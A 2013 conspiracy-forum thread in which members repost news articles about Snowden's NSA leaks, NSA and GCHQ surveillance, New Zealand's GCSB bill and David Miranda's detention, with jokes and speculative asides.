The detention of Greenwald's partner Miranda, and the ensuing reports of apparent intimidation from British officials towards the Guardian over their reporting on Snowden's leaks, indicates that some authorities might be taking harder tactic towards the whole damage control problem. According to the Guardian's editor, British intelligence officials even forced the paper to destroy hard drives containing encrypted versions of the leaks. British intelligence officials could be worried about potential reports in the future on some of the information authorities are pretty sure Snowden took: details of the data collection programs in the U.K., Canada, Australia and New Zealand, who work closely with the NSA. But don't worry: the White House is ready to assure Americans that such tactics wouldn't happen in the U.S. of A.: Deputy Press Secretary Josh Earnest told reporters today in a press briefing that it was "very difficult to imagine a scenario in which" destroying the hard drive of a journalist "would be appropriate."
Title: Re: they know what you are doing
Post by: ArMaP on August 21, 2013, 12:26:09 pm
An 'Overwhelmed' NSA Still Doesn't Know What Snowden Took
I suppose that means that they do not know what everyone is doing. :)
Title: Re: they know what you are doing
Post by: stealthyaroura on August 21, 2013, 12:42:44 pm
Quote
But don't worry: the White House is ready to assure Americans that such tactics wouldn't happen in the U.S. of A.: Deputy Press Secretary Josh Earnest told reporters today in a press briefing that it was "very difficult to imagine a scenario in which" destroying the hard drive of a journalist "would be appropriate."

BWHAHAHAHAHA yeah rite ::) BULL SHIT
LOL if it wasn't so serious.

Hmmmm 2 words killer drones! "you won't see them coming"
"YOU THINK I'M JOKING?" obama the hypocrite/nobel peace prize winner ::)
Title: Re: they know what you are doing
Post by: sky otter on August 21, 2013, 03:21:06 pm


hey stealthy (and the rest)  you missed this



http://www.thelivingmoon.com/forum/index.php?topic=5093.0

Quote

dang.. i had to come back and point this out..
i was really expecting someone to pick up on this..it's hysterical




Deer Trail, Colo.
Earlier this month, the town board split on an ordinance that would allow Deer Trail residents to
 shoot down drones in exchange for a $100 cash reward.
Residents will now vote on the measure in a special election on Oct. 7.




proves no body reads anything longer than two sentences'' 
Title: Re: they know what you are doing
Post by: ArMaP on August 21, 2013, 05:26:24 pm

hey stealthy (and the rest)  you missed this
Yes, on purpose, I'm not interested in drones. :)
Title: Re: they know what you are doing
Post by: zorgon on August 21, 2013, 05:31:05 pm
Yes, on purpose, I'm not interested in drones. :)

She meant THIS

would allow Deer Trail residents to  shoot down drones in exchange for a $100 cash reward.

 ::)
Title: Re: they know what you are doing
Post by: ArMaP on August 21, 2013, 05:48:59 pm
She meant THIS

would allow Deer Trail residents to  shoot down drones in exchange for a $100 cash reward.

 ::)
That's two weeks old news. :)
Title: Re: they know what you are doing
Post by: sky otter on August 22, 2013, 05:42:07 am

as i read this i can hear ozzie in my head singin
goin down the road in a crazy train...


http://www.huffingtonpost.com/2013/08/21/nsa-lawsuit_n_3792485.html

Lawsuit Prompts Release Of Some NSA Surveillance Documents


By KIMBERLY DOZIER and STEPHEN BRAUN 08/22/13 03:12 AM ET EDT 



WASHINGTON -- The Obama administration has given up more of its surveillance secrets, acknowledging that it was ordered to stop scooping up thousands of Internet communications from Americans with no connection to terrorism – a practice it says was an unintended consequence when it gathered bundles of Internet traffic connected to terror suspects.

One of the documents that intelligence officials released Wednesday came because a court ordered the National Security Agency to do so. But it's also part of the administration's response to the leaks by analyst-turned-fugitive Edward Snowden, who revealed that the NSA's spying programs went further and gathered millions more communications than most Americans realized.

The NSA declassified three secret court opinions showing how it revealed to the Foreign Intelligence Surveillance Court that one of its surveillance programs may have collected and stored as many as 56,000 emails and other communications by ordinary Americans annually over three years. The court ruled the NSA actions unconstitutional and ordered the agency to fix the problem, which it did by creating new technology to filter out buckets of data most likely to contain U.S. emails, and then limit the access to that data.

The director of national intelligence, James Clapper, released the information Wednesday "in the interest of increased transparency," and as directed by President Barack Obama in June, according to a statement accompanying the online documents.

But it wasn't until the Electronic Freedom Foundation, an Internet civil liberties group that sued for the release of one of the documents, disclosed the court order that Obama administration officials also acknowledged that the release was prodded by the group's 2012 lawsuit.

The court opinions show that when the NSA reported its inadvertent gathering of American-based Internet traffic in September 2011, the Foreign Intelligence Surveillance Court ordered the agency to find ways to limit what it collects and how long it keeps the material.

In an 85-page declassified FISA court ruling from October 2011, U.S. District Judge James D. Bates rebuked government lawyers for repeatedly misrepresenting the operations of the NSA's surveillance programs.

Bates wrote that the NSA had advised the court that "the volume and nature of the information it had been collecting is fundamentally different than what the court had been led to believe," and went on to say the court must consider "whether targeting and minimization procedures comport with the Fourth Amendment" prohibition against unreasonable search and seizure.

"This court is troubled that the government's revelations regarding NSA's acquisition of Internet transactions mark the third instance in less than three years in which the government has disclosed a substantial misrepresentation regarding the scope of a major collection program," Bates added in a footnoted passage that had portions heavily blacked out.

Bates also complained that the government's submissions make clear that the NSA was gathering Internet data years before it was authorized by the USA Patriot Act's Section 702 in 2008.

The NSA had moved to revise its Internet surveillance in an effort to separate out domestic data from its foreign targeted metadata – which includes email addresses and subject lines. But in his October 2011 ruling, Bates said the government's "upstream" collection of data – taken from internal U.S. data sources – was unconstitutional.

Three senior U.S. intelligence officials said Wednesday that national security officials realized the extent of the NSA's inadvertent collection of Americans' data from fiber optic cables in September 2011. One of the officials said the problem became apparent during internal discussions between the NSA and Justice Department officials about the program's technical operation.

The problem, according to the officials, was that the top secret Internet-sweeping operation, which was targeting metadata contained in the emails of foreign users, was also amassing thousands of emails that were bundled up with the targeted materials. Because many web mail services use such bundled transmissions, the official said, it was impossible to collect the targeted materials without also sweeping up data from innocent domestic U.S. users.

Officials said that when they realized they had an American communication, the communication was destroyed. But it was not clear how they determined to whom an email belonged and whether any NSA analyst had actually read the content of the email. The officials said the bulk of the information was never accessed or analyzed.

As soon as the extent of the problem became clear, the officials said, the Obama administration provided classified briefings to both Senate and House intelligence committees within days. At the same time, officials also informed the FISA court, which later issued the three 2011 rulings released Wednesday – with sections blacked out – as part of the government's latest disclosure of documents.

The officials briefed reporters on condition of anonymity because they were not authorized to do so by name.

The documents were declassified to help the Obama administration explain some of the most recent disclosures made by The Washington Post after it published classified documents provided by Snowden, the former NSA systems analyst.

But the FISA court's classified rulings have also been at issue in a year-old lawsuit filed against the government by the Electronic Frontier Foundation.

The release Wednesday of the FISA opinion, two other 2011 rulings and a secret "white paper" on the NSA's surveillance came less than two weeks after a federal judge in Washington gave government lawyers a time extension in order to decide which materials to declassify. The EFF had been pressing for a summary judgment that would have compelled the government to release the secret FISA rulings, and the government's most recent extension expired Wednesday, the day it released the once-secret FISA court rulings.

"This was all released in response to the court's orders," said Mark Rumold, an EFF attorney involved in the litigation.

A senior administration official acknowledged Wednesday that some of the documents released were in response to the lawsuit, while others were released voluntarily. The official insisted on anonymity because he was not authorized to discuss the release with a reporter by name.

The documents were posted later in the day on a new website that went live Wednesday afternoon. The front page of the site said it was "created at the direction of the president of the United States (and) provides immediate, ongoing and direct access to factual information related to the lawful foreign surveillance activities carried out by the U.S. intelligence community."

These interceptions of innocent Americans' communications were happening when the NSA accessed Internet information "upstream," meaning off fiber optic cables or other channels where Internet traffic traverses the U.S. telecommunications system.

The NSA disclosed that it gathers some 250 million Internet communications each year, with some 9 percent from these "upstream" channels, amounting to 20 million to 25 million emails a year. The agency used statistical analysis to estimate that of those, possibly as many as 56,000 Internet communications collected were sent by Americans or people in the U.S. with no connection to terrorism.

Under court order, the NSA resolved the problem by creating new ways to detect when emails by people within the U.S. were being intercepted and separated those batches of communications. It also developed new ways to limit how that data could be accessed or used. The agency also agreed to only keep these bundled communications for possible later analysis for a two-year period, instead of the usual five-year retention period.

The agency also, under court order, destroyed all the bundled data gathered between 2008, when the FISA court first authorized the collection under Section 702 of the Patriot Act, and 2011, when the new procedures were put in place.

The court signed off on the new procedures.

White House spokesman Josh Earnest said the program is specifically to gather foreign intelligence, not spy on Americans.

"The reason that we're talking about it right now is because there are very strict compliance standards in place at the NSA that monitor for compliance issues, that tabulate them, that document them and that put in place measures to correct them when they occur," Earnest said.

___

Documents available at: http://icontherecord.tumblr.com



Associated Press writers Julie Pace, Josh Lederman, Richard Lardner and Eileen Sullivan contributed to this report.[/color]
Title: Re: they know what you are doing
Post by: sky otter on August 22, 2013, 02:30:18 pm


another country joins the list

http://rt.com/news/new-zealand-pass-spy-law-777/

'RIP privacy': New Zealand govt passes NSA-style snooping bill

Published time: August 21, 2013 07:49
Edited time: August 22, 2013 11:07

New Zealand has passed a hotly-disputed bill that radically expands the powers of its spying agency. The legislation was passed 61 votes to 59 in a move that was slammed by the opposition as a death knell for privacy rights in New Zealand.

The new amendment bill gives the Government Communications Security Bureau (GCSB) – New Zealand’s version of the NSA – powers to support the New Zealand police, Defense Force and the Security Intelligence Service.

Opposition to the legislation has voiced concerns it will open the door to the NSA-style monitoring of New Zealand citizens in violation of their rights. A recent survey by Fairfax Media-Ipsos found that three quarters of New Zealand’s population is “concerned by the law.”

Megauploads founder Kim Dotcom, who has been a vocal critic of the bill, tweeted his condemnation after the legislation went through parliament.

However, Kiwi Prime Minister John Key argues otherwise. In an emphatic defense of the amendment in parliament on Wednesday Key argued it would not give the GCSB sweeping powers to spy.


He said he regretted the fact that the legislation had caused agitation and alarm among Kiwis and attributed it to “conspiracy” and “misinformation” propagated by the opposition. In addition, Key insisted the amendment was necessary because New Zealand is “vulnerable to cyber-threats.”

"There will be times where a serious cyber intrusion is detected against a New Zealander and the GCSB will then need to look at content - that's why the law allows that. But that should be the end point, not the starting point," he said.


Opposition to the bill called its passing through Parliament “a sad day” for New Zealand. Labor leader David Shearer said that nothing had been done to reassure New Zealanders that their rights would be protected.

"This is a sad day, we are passing legislation that is ad hoc, that is Mickey Mouse, that you have to have a third reading of to explain exactly what the Bill will do,” said Shearer.

The legislation has triggered mass debate in New Zealand with thousands rallying against it in a mass protest in July. Opposition to the amendment was headed by MegaUploads founder Kim Dotcom who was a victim of GCSB illegal spying.

"But the overreach, the lack of independent oversight, and the connection to the Five Eyes spy cloud which includes all communications of all New Zealanders are turning this new law into a serious threat to our basic human right to privacy," Mr. Dotcom said.

A New Zealand court ruled that the GCSB overstepped the mark when it spied on the internet tycoon in the run up to the illegal raid on his Auckland mansion in January 2012.




Title: Re: they know what you are doing
Post by: zorgon on August 22, 2013, 03:41:26 pm
Posted on Pegasus... some odd years ago :P

GCSB Waihopai Echelon Station
New Zealand
Code Name: Flintlock
-41° 34' 36.00", +173° 44' 20.00"


(http://www.thelivingmoon.com/45jack_files/04images/Bases/Spy_Valley_Ian_Brodie_6372593_01.jpg)
"Spy Valley" by Ian Brodie Google Earth community


New Zealand's Government Communications Security Bureau operates what it describes as a satellite communications monitoring facility in the Waihopai Valley. First announced in 1987, the facility has been identified by MP Keith Locke as part of ECHELON, the worldwide network of signals interception facilities run by the UKUSA consortium of intelligence agencies (which shares global electronic and signals intelligence among the Intelligence agencies of the US, UK, Canada, Australia and NZ).

http://www.thelivingmoon.com/45jack_files/03files/ECHELON_Waihopai_NZ.html
Title: Re: they know what you are doing
Post by: zorgon on August 23, 2013, 12:11:50 pm
Indian Springs Drone Control (Nellis Range near area 51)

Drone operators needed :D  There are not enough operators available for the current drone population...

This is a typicla drone control station

(https://sphotos-a-sjc.xx.fbcdn.net/hphotos-prn1/q71/s720x720/226737_194687954041089_52827881_n.jpg)

Capt. Catherine Platt...

(https://sphotos-a-sjc.xx.fbcdn.net/hphotos-prn1/q79/s720x720/534955_194688157374402_858616074_n.jpg)

Ever wonder just what they can see? Have you ever watched NCIS and seen the miracles they do pulling up satellite data instantly?

Well with the drones they will be storing the data indefinitely and can call it up days ago at a touch of a finger...

Here is a declassified video showing the capabilities taken over Quantico.... 

The guy talking about it seems way to zealous to record everything we do though....

[youtube]QGxNyaXfJsA[/youtube]
Title: Re: they know what you are doing
Post by: stealthyaroura on August 23, 2013, 12:38:16 pm


Capt. Catherine Platt...

(https://sphotos-a-sjc.xx.fbcdn.net/hphotos-prn1/q79/s720x720/534955_194688157374402_858616074_n.jpg)

That's one odd looking Kitchen?
LULZ :P
Title: Re: they know what you are doing
Post by: sky otter on August 25, 2013, 07:12:06 am

you guys are so easily distracted.. ;D ;)


well if you’re going to be stealing info ...this seems to be the way to do it.. don’t leave any finger prints and they don’t know what you have taken till you reveal it...so there’s no proof that you took anything..what a concept



http://www.huffingtonpost.com/2013/08/24/edward-snowden-electronic-tracks_n_3809491.html

Edward Snowden Covered Electronic Tracks, Government Officials Suspect
By ADAM GOLDMAN and KIMBERLY DOZIER 08/24/13 09:41 AM ET EDT 

WASHINGTON -- The U.S. government's efforts to determine which highly classified materials leaker Edward Snowden took from the National Security Agency have been frustrated by Snowden's sophisticated efforts to cover his digital trail by deleting or bypassing electronic logs, government officials told The Associated Press. Such logs would have showed what information Snowden viewed or downloaded.

The government's forensic investigation is wrestling with Snowden's apparent ability to defeat safeguards established to monitor and deter people looking at information without proper permission, said the officials, who spoke on condition of anonymity because they weren't authorized to discuss the sensitive developments publicly.

The disclosure undermines the Obama administration's assurances to Congress and the public that the NSA surveillance programs can't be abused because its spying systems are so aggressively monitored and audited for oversight purposes: If Snowden could defeat the NSA's own tripwires and internal burglar alarms, how many other employees or contractors could do the same?

In July, nearly two months after Snowden's earliest disclosures, NSA Director Keith Alexander declined to say whether he had a good idea of what Snowden had downloaded or how many NSA files Snowden had taken with him, noting an ongoing criminal investigation.

NSA spokeswoman Vanee Vines told the AP that Alexander "had a sense of what documents and information had been taken," but "he did not say the comprehensive investigation had been completed." Vines would not say whether Snowden had found a way to view and download the documents he took without the NSA knowing.

In defending the NSA surveillance programs that Snowden revealed, Deputy Attorney General James Cole told Congress last month that the administration effectively monitors the activities of employees using them.

"This program goes under careful audit," Cole said. "Everything that is done under it is documented and reviewed before the decision is made and reviewed again after these decisions are made to make sure that nobody has done the things that you're concerned about happening."

The disclosure of Snowden's hacking prowess inside the NSA also could dramatically increase the perceived value of his knowledge to foreign governments, which would presumably be eager to learn any counter-detection techniques that could be exploited against U.S. government networks.

It also helps explain the recent seizure in Britain of digital files belonging to David Miranda – the partner of Guardian journalist Glenn Greenwald – in an effort to help quantify Snowden's leak of classified material to the Guardian newspaper. Authorities there stopped Miranda last weekend as he changed planes at Heathrow Airport while returning home to Brazil from Germany, where Miranda had met with Laura Poitras, a U.S. filmmaker who has worked with Greenwald on the NSA story.

Snowden, a former U.S. intelligence contractor, was employed by Booz Allen Hamilton in Hawaii before leaking classified documents to the Guardian and The Washington Post. As a system administrator, Snowden had the ability to move around data and had access to thumb drives that would have allowed him to transfer information to computers outside the NSA's secure system, Alexander has said.

In his job, Snowden purloined many files, including ones that detailed the U.S. government's programs to collect the metadata of phone calls of U.S. citizens and copy Internet traffic as it enters and leaves the U.S., then routes it to the NSA for analysis.

Officials have said Snowden had access to many documents but didn't know necessarily how the programs functioned. He dipped into compartmentalized files as systems administrator and took what he wanted. He managed to do so for months without getting caught. In May, he flew to Hong Kong and eventually made his way to Russia, where that government has granted him asylum.

NBC News reported Thursday that the NSA was "overwhelmed" in trying to figure what Snowden had stolen and didn't know everything he had downloaded.

Insider threats have troubled the administration and Congress, particularly in the wake of Bradley Manning, a young soldier who decided to leak hundreds of thousands of sensitive documents in late 2009 and early 2010.

Congress had wanted to address the insider threat problem in the 2010 Intelligence Authorization Act, but the White House asked for the language to be removed because of concerns about successfully meeting a deadline. In the 2013 version, Congress included language urging the creation of an automated, insider-threat detection program.
Title: Re: they know what you are doing
Post by: stealthyaroura on August 25, 2013, 02:49:34 pm
ARGUS-IS (waps) state of the art bwhahahah.....funny ;D
impressive BUT state of the art? don't think so.

yeah maybe 25 years ago.
you have to remember THIS is what were ALLOWED to see ::)
Imagine what they have that we HAVE YET to see :o
Title: Re: they know what you are doing
Post by: sky otter on August 26, 2013, 04:10:27 pm


http://investigations.nbcnews.com/_news/2013/08/26/20197183-how-snowden-did-it?lite&ocid=msnhp&pos=1

How Snowden did it
By Richard Esposito and Matthew Cole
NBC News
 

When Edward Snowden stole the crown jewels of the National Security Agency, he didn’t need to use any sophisticated devices or software or go around any computer firewall.

All he needed, said multiple intelligence community sources, was a few thumb drives and the willingness to exploit a gaping hole in an antiquated security system to rummage at will through the NSA’s servers and take 20,000 documents without leaving a trace.

“It’s 2013 and the NSA is stuck in 2003 technology,” said an intelligence official.

Jason Healey, a former cyber-security official in the Bush Administration, said the Defense Department and the NSA have “frittered away years” trying to catch up to the security technology and practices used in private industry.  “The DoD and especially NSA are known for awesome cyber security, but this seems somewhat misplaced,” said Healey, now a cyber expert at the Atlantic Council. “They are great at some sophisticated tasks but oddly bad at many of the simplest.”

As a Honolulu-based employee of Booz Allen Hamilton doing contract work for the NSA, Snowden had access to the NSA servers via "thin client" computer. The outdated set-up meant that he had direct access to the NSA servers at headquarters in Ft. Meade, Md., 5,000 miles away.

In a “thin client” system, each remote computer is essentially a glorified monitor, with most of the computing power in the central server. The individual computers tend to be assigned to specific individuals, and access for most users can be limited to specific types of files based on a user profile.

But Snowden was not most users. A typical NSA worker has a “top secret” security clearance, which gives access to most, but not all, classified information. Snowden also had the enhanced privileges of a “system administrator.” The NSA, which has as many as 40,000 employees, has 1,000 system administrators, most of them contractors.

As a system administrator, Snowden was allowed to look at any file he wanted, and his actions were largely unaudited. “At certain levels, you are the audit,” said an intelligence official.

He was also able to access NSAnet, the agency’s intranet, without leaving any signature, said a person briefed on the postmortem of Snowden’s theft. He was essentially a “ghost user,” said the source, making it difficult to trace when he signed on or what files he accessed.

If he wanted, he would even have been able to pose as any other user with access to NSAnet, said the source.

The “thin client” system and system administrator job description also provided Snowden with a possible cover for using thumb drives.

The system is intentionally closed off from the outside world, and most users are not allowed to remove information from the server and copy it onto any kind of storage device. This physical isolation – which creates a so-called “air gap" between the NSA intranet and the public internet -- is supposed to ensure that classified information is not taken off premises.

But a system administrator has the right to copy, to take information from one computer and move it to another. If his supervisor had caught him downloading files, Snowden could, for example, have claimed he was using a thumb drive to move information to correct a corrupted user profile.

“He was an authorized air gap,” said an intelligence official.

Finally, Snowden’s physical location worked to his advantage. In a contractor’s office 5,000 miles and six time zones from headquarters, he was free from prying eyes. Much of his workday occurred after the masses at Ft. Meade had already gone home for dinner. Had he been in Maryland, someone who couldn’t audit his activities electronically still might have noticed his use of thumb drives.

It’s not yet certain when Snowden began exploiting the gaps in NSA security. Snowden worked for Booz Allen Hamilton for less than three months, and says he took the job in order to have access to documents. But he may have begun taking documents many months before that, while working with the NSA via a different firm. According to Reuters, U.S. officials said he downloaded documents in April 2012, while working for Dell.

Snowden is thought to have made his initial attempt to offer documents to the media in late 2012, while at Dell.  According to published accounts, he tried to contact Guardian journalist Glenn Greenwald in December and started talking to filmmaker Laura Poitras in January.

He began working for Booz Allen in March. In May, he told his supervisor he needed to take time off to deal with a health issue, and then flew to Hong Kong, where he met with Poitras and Greenwald, on May 20. He later told the Guardian that he was downloading documents on his last day at work. The revelations based on his documents started appearing in the Guardian and the Washington Post within weeks.

Snowden is currently living in Russia, where he’s been granted temporary asylum. The U.S. government has charged him with theft and violations of the Espionage Act.

U.S. intelligence officials said recently that they plan to significantly reduce the number of individuals with system administrator privileges.

“U.S. intelligence has invited so many people into the secret realm,” said an intelligence official. “There are potentially tons of Edward Snowdens. But most people aren’t willing to vacuum everything up and break the law.”

The NSA did not immediately respond to a request for comment.

Richard Esposito is the Senior Executive Producer for Investigations at NBC News. Matthew Cole is an investigative reporter at NBC News. He can be reached at matthew.cole@nbcuni.com.
Title: Re: they know what you are doing
Post by: ArMaP on August 26, 2013, 04:46:41 pm
If things are like that, I'm surprised there aren't more leaks (as far as we know). :)
Title: Re: they know what you are doing
Post by: The Matrix Traveller on August 26, 2013, 04:55:30 pm
(http://www.thelivingmoon.com/45jack_files/04images/Bases/Waihopai_dome_collapsed_719917.jpg)

Some naught activist punctured one of the Gov. balloons protecting a dish against weather conditions....  LOL.

It apparently cost a lot of $$$$ to repair...  or did it ?
Title: Re: they know what you are doing
Post by: Amaterasu on August 26, 2013, 05:09:52 pm
If things are like that, I'm surprised there aren't more leaks (as far as we know). :)

Snowden was a controlled "leak," in that He was presented as a leaker, but leaked nothing much new.  Psyop.

I did hear rumors of another leaker that was getting NO press.  Bet HIS stuff was FAR more interesting...
Title: Re: they know what you are doing
Post by: sky otter on August 29, 2013, 04:18:48 pm
for someone who is not sharing any more secrets..hummmmmmmmm :P



vid at link

http://www.huffingtonpost.com/2013/08/29/nsa-black-budget_n_3838563.html

NSA 'Black Budget' Provides New Details On Surveillance Agency

 By STEPHEN BRAUN 08/29/13 03:51 PM ET EDT 

WASHINGTON -- Secret intelligence budget files provided by National Security Agency leaker Edward Snowden show that the surveillance agency warned in 2012 that it planned to investigate up to 4,000 reports of possible internal security breaches, according to a new disclosure published Thursday.

The Washington Post, citing documents it said were provided by Snowden, said the NSA's concerns about insider threats were aimed at "anomalous behavior" of agency employees with access to top secret data. The account cited NSA concerns about "trusted insiders who seek to exploit their authorized access to sensitive information to harm U.S. interests."

The NSA concerns were outlined in top-secret documents provided to the Senate and House intelligence committees in February 2012, well before Snowden emerged this summer as the sole source of massive new disclosures about the agency's surveillance operations. The Post released only 17 pages of the entire 178-page budget document, citing conversations with Obama administration officials who voiced alarms about disclosures that could compromise intelligence sources and methods.

Shawn Turner, director of public affairs for the Office of the Director of National Intelligence, who has taken the lead in responding to the Snowden disclosures, did not immediately respond to a request to discuss the budget figures.

It was not clear from the Post's reporting how many of the 4,000 potential insider threats were ultimately investigated or how many posed serious breaches of security. Steven Aftergood, head of a project on government secrecy at the Federation of American Scientists in Washington, questioned whether many of the reported 4,000 possible leaks were credible cases.

Referring to previous reports that the NSA's classified work force totals nearly 40,000, Aftergood said, "It would be hard to believe that one in every 10 NSA employees is a possible threat." He suggested that many cases might be caused by internal warnings arising from minor internal protocol errors or mistakenly accessed documents.

But aggressive high-profile Justice Department prosecutions in recent years of several former NSA staffers have shown the agency taking a toughened stance in cracking down on possible leaks. "In any case, a number that large is striking," Aftergood said.

The latest revelations also disclosed limited details about the highly classified 2013 intelligence "black budget," which previously only provided a topline of nearly $53 billion. The $52.6 billion intelligence budget described by the Post discloses that the NSA's portion was $10.5 billion in 2013 – outstripped only by the CIA's $14.7 billion.

Aftergood said the CIA's budget growth from $3 billion in the 1990s to nearly $15 billion likely reflects its post-9/11 push into drone warfare and paramilitary operations overseas.

 

.....................................................



 http://www.washingtonpost.com/world/national-security/to-hunt-osama-bin-laden-satellites-watched-over-abbottabad-pakistan-and-navy-seals/2013/08/29/8d32c1d6-10d5-11e3-b4cb-fd7ce041d814_story.html

To hunt Osama bin Laden, satellites watched over Abbottabad, Pakistan, and Navy SEALs

By Craig Whitlock and Barton Gellman, Thursday, August 29, 2:53 PME-mail the writer
The U.S. commando raid that killed Osama bin Laden was guided from space by a fleet of satellites, which aimed dozens of separate receivers over Pakistan to collect a torrent of electronic and signals intelligence as the mission unfolded, according to a top-secret U.S. intelligence document.

The National Security Agency was also able to penetrate guarded communications among al-Qaeda operatives by tracking calls from mobile phones identified by specific calling patterns, the document shows. Analysts from the Central Intelligence Agency pinpointed the geographic location of one of the phones and tied it to the compound in Abbottabad, Pakistan, where an accumulation of other evidence suggested bin Laden was hiding.

The new disclosures about the hunt for bin Laden are contained in classified documents that detail this year’s “black budget” for U.S. intelligence agencies, including the NSA and CIA. The documents, provided to The Washington Post by former NSA contractor Edward Snowden, make only brief references to the bin Laden operation. But the mission is portrayed as a singular example of counter-terrorism cooperation among the U.S. government’s numerous intelligence agencies.

Eight hours after the raid, according to the documents, a forensic intelligence laboratory run by the Defense Intelligence Agency in Afghanistan had analyzed DNA from bin Laden’s corpse and “provided a conclusive match” confirming his identity. The budget further reveals that satellites operated by the National Reconnaissance Office performed over 387 “collects” of high-resolution and infrared images of the Abbottabad compound in the month prior to the raid — intelligence that was “critical to prepare for the mission and contributed to the decision to approve execution.”

Also playing a role in the search for bin Laden was an arm of the NSA known as the Tailored Access Operations group. Among other functions, Tailored Access Operations specializes in surreptitiously installing spyware and tracking devices on targeted computers and mobile phone networks.

Although the budget does not provide detail, it reports that Tailored Access Operations “implants” enabled the NSA to collect intelligence from mobile phones that were used by al-Qaeda operatives and other “persons of interest” in the bin Laden hunt.

Separately, Tailored Access Operations were used in April 2011, the month before bin Laden was killed, when U.S. Forces in Afghanistan relied on signals intelligence from implants to capture 40 low- and mid-level Taliban fighters and other insurgents in that country, according to the documents.

The new details about the bin Laden raid fill out an already rich public account of how the U.S. government employed virtually every tool in its enormous surveillance apparatus to locate the elusive founder of al-Qaeda. For more than a decade, bin Laden stymied all efforts to find him by making certain he did not leave a direct electronic trail. He steadfastly avoided phones and e-mail, relying on face-to-face communications with a small number of couriers and middlemen.

In addition to the satellites, the government flew an advanced stealth drone, the RQ-170, over Pakistan to eavesdrop on electronic transmissions. The CIA also recruited a Pakistani doctor and other public health workers to try to obtain blood samples from people living in the Abbottabad compound as part of a vaccination program to determine if the residents might be related to bin Laden.

For all their technological prowess, U.S. spy agencies failed to identify its target with confidence inside the Abbottabad compound. By the time President Obama ordered a team of Navy SEALs to storm the site in May 2011, U.S. intelligence officials told the president that, according to their best guesses, the odds that bin Laden was present were between 40 and 60 percent.

Even after bin Laden’s death, however, the U.S. government kept up its relentless high-tech campaign to unlock his secrets.

Budget documents show that intelligence agencies scraped together $2.5 million in emergency funds in September 2011 to sift through a backlog of computer files and other evidence recovered from bin Laden’s hideout. The money went to buy 36 computer workstations and pay overtime to forensic examiners, linguists and “triage personnel” involved in the project


Title: Re: they know what you are doing
Post by: sky otter on August 30, 2013, 11:15:15 am


http://investigations.nbcnews.com/_news/2013/08/30/20200659-how-much-did-snowden-take-at-least-three-times-number-reported?lite&ocid=msnhp&pos=1

How much did Snowden take? At least three times number reported

By Matthew Cole and Robert Windrem
NBC News
British authorities revealed Friday that NSA leaker Edward Snowden took at least three times as many highly sensitive documents as previously reported, and possibly far more.

At a court hearing in London the government told a judge that David Miranda, the partner of Guardian journalist Glenn Greenwald, was carrying 58,000 documents related to British intelligence on electronic devices when he was stopped and searched at Heathrow airport on August 18. The government also said it believed the documents had been “stolen” from Government Communications Headquarters (GCHQ), the British counterpart of the NSA.

Greenwald, who has been helping Snowden disseminate the documents he took from U.S. government computers, had previously said that Snowden had downloaded 20,000 documents. As previously reported by NBC News, the U.S. government has not yet been able to determine the scope of what Snowden took.

In a signed statement revealed at Friday’s hearing, a detective superintendent with the Counter-Terrorism  branch of the Metropolitan Police said that the material on an “external hard drive” seized from him “discloses approximately 58,000 UK documents of the highest level of classification.”

The government was able to decrypt some of the files using a code found on a piece of paper carried by Miranda, but is struggling to decrypt the rest.

“So far only 75 documents have been reconstructed” into a legible format, said the statement. “This represents only a tiny fraction of what was seized.”

The statement, dated Tuesday, said that the drive contains approximately 60 gigabytes of data, of which only 20 gigabytes have been so far been “accessed.”

“The remainder is encrypted,” said the statement, using a form of encryption known as True Crypt, “which renders the material extremely difficult to access. …

In a separate statement to the court, Oliver Robbins, Britain's deputy national security advisor for intelligence, chided Miranda for carrying a password on a piece of paper. "The fact that ... claimant was carrying on his person a handwritten piece of paper containing the password for one of the encrypted files," said Robbins, "is a sign of very poor information security practice."

Robbins also said that the information seized from Miranda was "highly likely to describe techniques which have been crucial in life-saving counter-terrorist operations, and other intelligence activities vital to UK national security."

A former U.S. official familiar with the case said "significant amounts" of intelligence documents from U.S. allies -- particularly the UK and Australia -- were taken by Snowden from the NSA.

Miranda had challenged the right of British authorities to retain the material seized from him, but at Friday’s hearing the judge agreed to let the government continue examining the files. Scotland Yard has launched a criminal investigation of Miranda.

Miranda’s lawyers said they considered it a partial victory that the judge said the government has seven days to establish there is a threat to national security.

British authorities detained Miranda when he stopped in Heathrow while traveling from Berlin back to Rio de Janeiro, where he and Greenwald live. Miranda had been in Berlin visiting filmmaker Laura Poitras, who has been working with Greenwald to publicize Snowden’s leaked documents. Miranda was delivering documents to Poitras and retrieving documents for Greenwald, according to Greenwald.

Miranda was detained and questioned for eight hours under Section 7 of the U.K.’s Terrorism Act. British authorities seized multiple electronic devices from Miranda.



Alexander Smith contributing reporting to this story. Matthew Cole is an investigative reporter at NBC News. He can be reached at matthew.cole@nbcuni.com. Robert Windrem is an investigative reporter at NBC News. He can be reached at robert.windrem@nbcuni.com.
Title: Re: they know what you are doing
Post by: sky otter on August 30, 2013, 04:50:34 pm


http://www.huffingtonpost.com/2013/08/30/uk-new-york-times-destroy-snowden_n_3844706.html

UK Asked New York Times To Destroy Edward Snowden Documents

Reuters  |  Posted: 08/30/2013 1:51 pm EDT  |  Updated: 08/30/2013 7:12 pm EDT 




By Mark Hosenball

WASHINGTON, Aug 30 (Reuters) - The British government has asked the New York Times to destroy copies of documents leaked by former National Security Agency contractor Edward Snowden related to the operations of the U.S. spy agency and its British partner, Government Communications Headquarters (GCHQ), people familiar with the matter said.

The British request, made to Times executive editor Jill Abramson by a senior official at the British Embassy in Washington D.C., was greeted by Abramson with silence, according to the sources. British officials indicated they intended to follow up on their request later with the Times, but never did, one of the sources said.

On Friday, in a public statement, Alan Rusbridger, editor of the Guardian, said his newspaper, which had faced threats of possible legal action from British authorities, on July 20 had destroyed copies of leaked documents which it had received from Snowden.

Rusbridger said that two days later, on July 22, the Guardian informed British authorities that materials related to GCHQ had made their way to the New York Times and the independent investigative journalism group ProPublica.

Rusbridger said in his statement that it then took British authorities "more than three weeks before anyone from the British government contacted the New York Times.

"We understand the British Embassy in Washington met with the New York Times in mid-August - over three weeks after the Guardian's material was destroyed in London. To date, no-one has contacted ProPublica, and there has been two weeks of further silence towards the New York Times from the government," Rusbridger said.

Rusbridger added that, "This five week period in which nothing has happened tells a different story from the alarmist claims made" by the British government in a witness statement it submitted on Friday to a London court hearing regarding an investigation by British authorities into whether the handling of Snowden's leaks violated British anti-terrorism and official secrets laws.

A spokesman for the British Embassy in Washington told Reuters: "We are not going to get into the specifics about our efforts but it should come as no surprise if we approach a person who is in possession of some or all of this material."

